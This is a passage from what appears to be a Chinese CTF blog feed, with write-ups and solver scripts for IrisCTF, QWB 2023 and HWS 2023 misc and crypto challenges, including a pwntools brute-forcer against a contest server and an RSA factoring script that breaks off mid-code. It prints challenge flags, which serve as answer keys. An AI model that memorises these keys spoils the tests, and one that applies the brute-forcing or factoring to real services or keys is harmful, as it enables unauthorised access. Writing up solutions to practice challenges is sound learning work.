<content type="html"><![CDATA[<p>最有用的一集</p><h1 id="what-the-beep">What the Beep?</h1><p>题目描述说有几个地方的音频音量计记录,下载附件后发现是有四个不同位置的记录,从前到后大概是49,56,52,52分贝。题目中又说信号源是140分贝,所以推测是计算信号源到四个位置的相对距离然后在地图得出位置。</p><p>经过搜索得到声音衰减公式:</p><p class='katex-block'><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mtext>衰减(分贝)</mtext><mo>=</mo><mn>20</mn><mo>⋅</mo><msub><mo><mi>log</mi><mo></mo></mo><mn>10</mn></msub><mrow><mo fence="true">(</mo><mfrac><msub><mi>d</mi><mn>1</mn></msub><msub><mi>d</mi><mn>2</mn></msub></mfrac><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\text{衰减(分贝)} = 20 \cdot \log_{10}\left(\frac{d_1}{d_2}\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord text"><span class="mord cjk_fallback">衰减(分贝)</span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">2</span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:2.40003em;vertical-align:-0.95003em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.20696799999999996em;"><span style="top:-2.4558600000000004em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span><span class="mord mtight">0</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.24414em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.37144em;"><span style="top:-2.3139999999999996em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.8360000000000001em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span></p><p>所以可以得到:</p><p class='katex-block'><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><msub><mi>d</mi><mn>1</mn></msub><msub><mi>d</mi><mn>2</mn></msub></mfrac><mo>=</mo><mn>1</mn><msup><mn>0</mn><mfrac><mtext>衰减(分贝)</mtext><mn>20</mn></mfrac></msup></mrow><annotation encoding="application/x-tex">\frac{d_1}{d_2} = 10^{\frac{\text{衰减(分贝)}}{20}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.20744em;vertical-align:-0.8360000000000001em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.37144em;"><span style="top:-2.3139999999999996em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.8360000000000001em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.0234649999999998em;vertical-align:0em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.0234649999999998em;"><span style="top:-3.4130000000000003em;margin-right:0.05em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8720928571428572em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.2255000000000003em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord cjk_fallback mtight">衰减(分贝)</span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p><p>带入数据得到四个地点到信号源的距离之比是</p><p class='katex-block'><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mn>2.1</mn><mo>:</mo><mn>1</mn><mo>:</mo><mn>1.5</mn><mo>:</mo><mn>1.5</mn></mrow><annotation encoding="application/x-tex">2.1:1:1.5:1.5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">2</span><span class="mord">.</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span><span class="mord">.</span><span class="mord">5</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span><span class="mord">.</span><span class="mord">5</span></span></span></span></span></p><p>然后在地图上作图得到大概位置就行了:</p><p><img src="https://i.imgs.ovh/2024/01/08/IlEp9.jpeg" alt="IlEp9.jpeg" /></p><p>nc后输入位置坐标得到flag:</p><blockquote><p>irisctf{ac0ust1c_pr0pagat10n_m0d3ls_c4n_b3_us3d_t0_appr0xim4te_d1st4nce5}</p></blockquote><h1 id="the-peano-scramble">The Peano Scramble</h1><p>图片下下来是一张很混乱的图片:</p><p><img src="https://i.imgs.ovh/2024/01/08/InPtX.png" alt="InPtX.png" /></p><p>通过题目peano搜索发现是一种分形几何:</p><p><a href="https://zhuanlan.zhihu.com/p/305623626">https://zhuanlan.zhihu.com/p/305623626</a></p><p>推测应该是按着曲线的轨迹将像素还原到原来的位置,于是编写脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">from</span> tqdm <span class="keyword">import</span> tqdm</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">peano</span>(<span class="params">n</span>):</span><br><span class="line"> <span class="keyword">if</span> n == <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">return</span> [[<span class="number">0</span>,<span class="number">0</span>]]</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> in_lst = peano(n - <span class="number">1</span>)</span><br><span class="line"> lst = in_lst.copy()</span><br><span class="line"> px,py = lst[-<span class="number">1</span>]</span><br><span class="line"> lst.extend([px - i[<span class="number">0</span>], py + <span class="number">1</span> + i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line"> px,py = lst[-<span class="number">1</span>]</span><br><span class="line"> lst.extend([px + i[<span class="number">0</span>], py + <span class="number">1</span> + i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line"> px,py = lst[-<span class="number">1</span>]</span><br><span class="line"> lst.extend([px + <span class="number">1</span> + i[<span class="number">0</span>], py - i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line"> px,py = lst[-<span class="number">1</span>]</span><br><span class="line"> lst.extend([px - i[<span class="number">0</span>], py - <span class="number">1</span> - i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line"> px,py = lst[-<span class="number">1</span>]</span><br><span class="line"> lst.extend([px + i[<span class="number">0</span>], py - <span class="number">1</span> - i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line"> px,py = lst[-<span class="number">1</span>]</span><br><span class="line"> lst.extend([px + <span class="number">1</span> + i[<span class="number">0</span>], py + i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line"> px,py = lst[-<span class="number">1</span>]</span><br><span class="line"> lst.extend([px - i[<span class="number">0</span>], py + <span class="number">1</span> + i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line"> px,py = lst[-<span class="number">1</span>]</span><br><span class="line"> lst.extend([px + i[<span class="number">0</span>], py + <span class="number">1</span> + i[<span class="number">1</span>]] <span class="keyword">for</span> i <span class="keyword">in</span> in_lst)</span><br><span class="line"> <span class="keyword">return</span> lst</span><br><span class="line"></span><br><span class="line">order = peano(<span class="number">6</span>)</span><br><span class="line"></span><br><span class="line">img = Image.<span class="built_in">open</span>(<span class="string">r"C:\Users\ASUSROG\Desktop\chal.png"</span>)</span><br><span class="line"></span><br><span class="line">width, height = img.size</span><br><span class="line"></span><br><span class="line">block_width = width <span class="comment"># // 3</span></span><br><span class="line">block_height = height <span class="comment"># // 3</span></span><br><span class="line"></span><br><span class="line">new_image = Image.new(<span class="string">"RGB"</span>, (width, height))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i, (x, y) <span class="keyword">in</span> tqdm(<span class="built_in">enumerate</span>(order)):</span><br><span class="line"> <span class="comment"># 根据列表顺序获取新的坐标</span></span><br><span class="line"> new_x, new_y = i % width, i // width</span><br><span class="line"> <span class="comment"># 获取原图像素</span></span><br><span class="line"> pixel = img.getpixel((x, height - <span class="number">1</span> - y))</span><br><span class="line"> <span class="comment"># 在新图像中放置像素</span></span><br><span class="line"> new_image.putpixel((new_x, new_y), pixel)</span><br><span class="line"></span><br><span class="line">new_image.save(<span class="string">"rearranged_image.jpg"</span>) </span><br></pre></td></tr></table></figure><p>运行得到最终结果:</p><p><img src="https://i.imgs.ovh/2024/01/08/InhLJ.jpeg" alt="InhLJ.jpeg" /></p><p>提交即可</p><h1 id="czech-where">Czech Where?</h1><p>直接谷歌地图搜索即可得到地址,把音标去掉得到flag</p><blockquote><p>irisctf{zlata_ulicka_u_daliborky}</p></blockquote>]]></content>
<tags>
<tag> ctf </tag>
<tag> Misc </tag>
</tags>
</entry>
<entry>
<title>强网杯2023</title>
<link href="/2023/12/17/QWB2023/"/>
<url>/2023/12/17/QWB2023/</url>
<content type="html"><![CDATA[<p>4月份报名的比赛终于姗姗来迟,感觉自己终于有点用了</p><h1 id="eazyfuzz">eazyfuzz</h1><p>发现要我输十个字节让coverage全覆盖</p><p>不知道怎么做,乱输一通,发现第五个输入b的时候会覆盖3个1,于是写了一个脚本想爆破出最终的结果:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> itertools <span class="keyword">import</span> product</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">'debug'</span> </span><br><span class="line"></span><br><span class="line">letters = string.ascii_lowercase[:<span class="number">26</span>]</span><br><span class="line"></span><br><span class="line">perms = product(letters, repeat=<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">p = remote(<span class="string">'101.200.122.251'</span>,<span class="number">12199</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> perm <span class="keyword">in</span> perms:</span><br><span class="line"> full_perm = <span class="string">''</span>.join((<span class="string">''</span>.join(perm[:<span class="number">4</span>]), <span class="string">'b'</span>, <span class="string">''</span>.join(perm[<span class="number">4</span>:])))</span><br><span class="line"> <span class="built_in">print</span>(full_perm)</span><br><span class="line"> p.recvuntil(<span class="string">'bytes):'</span>)</span><br><span class="line"> p.sendline(full_perm)</span><br><span class="line"> p.recvuntil(<span class="string">'rage:'</span>)</span><br><span class="line"> code = p.recvline(<span class="string">'\n'</span>)</span><br><span class="line"> <span class="built_in">print</span>(code)</span><br><span class="line"> res = <span class="number">0</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> code:</span><br><span class="line"> <span class="keyword">if</span> i == <span class="number">1</span>:</span><br><span class="line"> res+=<span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> res+=<span class="number">0</span></span><br><span class="line"> <span class="built_in">print</span>(res)</span><br><span class="line"> <span class="keyword">if</span> res > <span class="number">3</span>:</span><br><span class="line"> <span class="built_in">print</span>(full_perm)</span><br><span class="line"> <span class="keyword">break</span></span><br></pre></td></tr></table></figure><p>但是脚本有点问题,res没有按期望的结果输出,于是我就肉眼观察哪里更改时提高了覆盖率,然后加在脚本里面,经过几轮后发现最后几个字母是Good</p><p>于是我就把脚本改成了这样:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> itertools <span class="keyword">import</span> product</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">'debug'</span> </span><br><span class="line"></span><br><span class="line">letters = string.ascii_lowercase[:<span class="number">26</span>]</span><br><span class="line"></span><br><span class="line">perms = product(letters, repeat=<span class="number">4</span>)</span><br><span class="line"></span><br><span class="line">p = remote(<span class="string">'101.200.122.251'</span>,<span class="number">12199</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> perm <span class="keyword">in</span> perms:</span><br><span class="line"> full_perm = <span class="string">''</span>.join((<span class="string">''</span>.join(perm[:<span class="number">4</span>]), <span class="string">'b'</span>, <span class="string">''</span>.join(perm[<span class="number">4</span>:]),<span class="string">'Good'</span>))</span><br><span class="line"> <span class="built_in">print</span>(full_perm)</span><br><span class="line"> p.recvuntil(<span class="string">'bytes):'</span>)</span><br><span class="line"> p.sendline(full_perm)</span><br><span class="line"> p.recvuntil(<span class="string">'rage:'</span>)</span><br><span class="line"> code = p.recvline(<span class="string">'\n'</span>)</span><br><span class="line"> <span class="built_in">print</span>(code)</span><br><span class="line"> res = <span class="number">0</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> code:</span><br><span class="line"> <span class="keyword">if</span> i == <span class="number">1</span>:</span><br><span class="line"> res+=<span class="number">1</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> res+=<span class="number">0</span></span><br><span class="line"> <span class="built_in">print</span>(res)</span><br><span class="line"> <span class="keyword">if</span> res > <span class="number">3</span>:</span><br><span class="line"> <span class="built_in">print</span>(full_perm)</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>后面又肉眼观察了一会得到结果:</p><blockquote><p>aaqwbGood</p></blockquote><p><img src="https://i.imgs.ovh/2023/12/17/6cPJu.png" alt="6cPJu.png" /></p><h1 id="happy-chess">Happy Chess</h1><p>非常凑巧,前几周看到了b站上的一个翻转棋的<a href="https://www.bilibili.com/video/BV1XQ4y1t79G/?buvid=YC4914C3DAF3DF87400E8938B2916ED117A7&is_story_h5=false&mid=gJJFvn3SB3v73NMQW9uRBw%3D%3D&p=1&plat_id=116&share_from=ugc&share_medium=ipad&share_plat=ios&share_source=QQ&share_tag=s_i&timestamp=1702796105&unique_k=Z9gQh2y&up_id=508466707&vd_source=21b186df21e95121735877d3d4fd9e4d">视频</a></p><p>那么思路如下:</p><p>首先对于初始棋盘来说,只要把白棋或者黑棋的位置都点一遍就可以变成相同颜色</p><p>但是规定要240步之内赢10局,所以每局就有步数限制,要在大约24步之内赢一局</p><p>所以要进行步骤的优化,优化思路如下:</p><p>对于9*9的棋盘如果把一整行或者一整列全部翻转,就会把整个棋盘直接翻转</p><p>所以对于每一个可行解,可以通过观察来进行步骤的优化</p><p>把每一次的步骤优化到24步以内之后通关即可:</p><p><img src="https://i.imgs.ovh/2023/12/17/6cXfd.png" alt="6cXfd.png" /></p>]]></content>
<tags>
<tag> ctf </tag>
<tag> misc </tag>
</tags>
</entry>
<entry>
<title>HWS2023</title>
<link href="/2023/11/19/HWS2023/"/>
<url>/2023/11/19/HWS2023/</url>
<content type="html"><![CDATA[<h1 id="ezrsa">ezrsa</h1><p>题如其名,真的ez,可以看出是一个二次剩余,直接 from sympy.ntheory.residue_ntheory import nthroot_mod 调用函数就行了。(一开始没发现c和r给反了,卡挺久)</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> long_to_bytes</span><br><span class="line">c = <span class="number">4124820799737107236308837008524397355107786950414769996181324333556950154206980059406402767327725312238673053581148641438494212320157665395208337575556385</span></span><br><span class="line">r = <span class="number">13107939563507459774616204141253747489232063336204173944123263284507604328885680072478669016969428366667381358004059204207134817952620014738665450753147857</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> sympy.ntheory.residue_ntheory <span class="keyword">import</span> nthroot_mod</span><br><span class="line">x=nthroot_mod(c,<span class="number">2</span>,r)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(x)</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(x))</span><br></pre></td></tr></table></figure><p>得到flag:</p><blockquote><p>flag{9971e255f0c020e8e57fbae75f43d7fb}</p></blockquote><p><img src="https://i.imgs.ovh/2023/11/19/H0xSJ.png" alt="H0xSJ.png" /></p><h1 id="hdrsa">hdrsa</h1><p>题如其名,确实hard,观察发现破解的核心在于p的生成方式,搜索发现可以通过 Cheng’s 4p - 1 elliptic curve complex multiplication based factorization algorithm破解。然后找到了github上写好的脚本:<br /><a href="https://github.com/pwang00/Cryptographic-Attacks/blob/master/Public%20Key/Factoring/cm_factor.sage">https://github.com/pwang00/Cryptographic-Attacks/blob/master/Public%20Key/Factoring/cm_factor.sage</a></p><p>于是现在能分解n了,接着网上找到了一个类似的题目的脚本</p><p><a href="https://angmar2722.github.io/CTFwriteups/2021/idek2021/#destroyed-rsa">https://angmar2722.github.io/CTFwriteups/2021/idek2021/#destroyed-rsa</a></p><p>稍作修改就能得到flag了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> sage.<span class="built_in">all</span> <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> random <span class="keyword">import</span> choice</span><br><span class="line"><span class="keyword">from</span> math <span class="keyword">import</span> gcd</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> tqdm <span class="keyword">import</span> tqdm</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">sys.setrecursionlimit(<span class="number">100000</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">polynomial_xgcd</span>(<span class="params">a, b</span>):</span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Computes the extended GCD of two polynomials using Euclid's algorithm.</span></span><br><span class="line"><span class="string"> :param a: the first polynomial</span></span><br><span class="line"><span class="string"> :param b: the second polynomial</span></span><br><span class="line"><span class="string"> :return: a tuple containing r, s, and t</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> <span class="keyword">assert</span> a.base_ring() == b.base_ring()</span><br><span class="line"></span><br><span class="line"> r_prev, r = a, b</span><br><span class="line"> s_prev, s = <span class="number">1</span>, <span class="number">0</span></span><br><span class="line"> t_prev, t = <span class="number">0</span>, <span class="number">1</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> r:</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> q = r_prev // r</span><br><span class="line"> r_prev, r = r, r_prev - q * r</span><br><span class="line"> s_prev, s = s, s_prev - q * s</span><br><span class="line"> t_prev, t = t, t_prev - q * t</span><br><span class="line"> <span class="keyword">except</span> RuntimeError:</span><br><span class="line"> <span class="keyword">raise</span> ArithmeticError(<span class="string">"r is not invertible"</span>, r)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> r_prev, s_prev, t_prev</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">polynomial_inverse</span>(<span class="params">p, m</span>):</span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Computes the inverse of a polynomial modulo a polynomial using the extended GCD.</span></span><br><span class="line"><span class="string"> :param p: the polynomial</span></span><br><span class="line"><span class="string"> :param m: the polynomial modulus</span></span><br><span class="line"><span class="string"> :return: the inverse of p modulo m</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> g, s, t = polynomial_xgcd(p, m)</span><br><span class="line"> <span class="keyword">return</span> s * g.lc() ** -<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">factorize</span>(<span 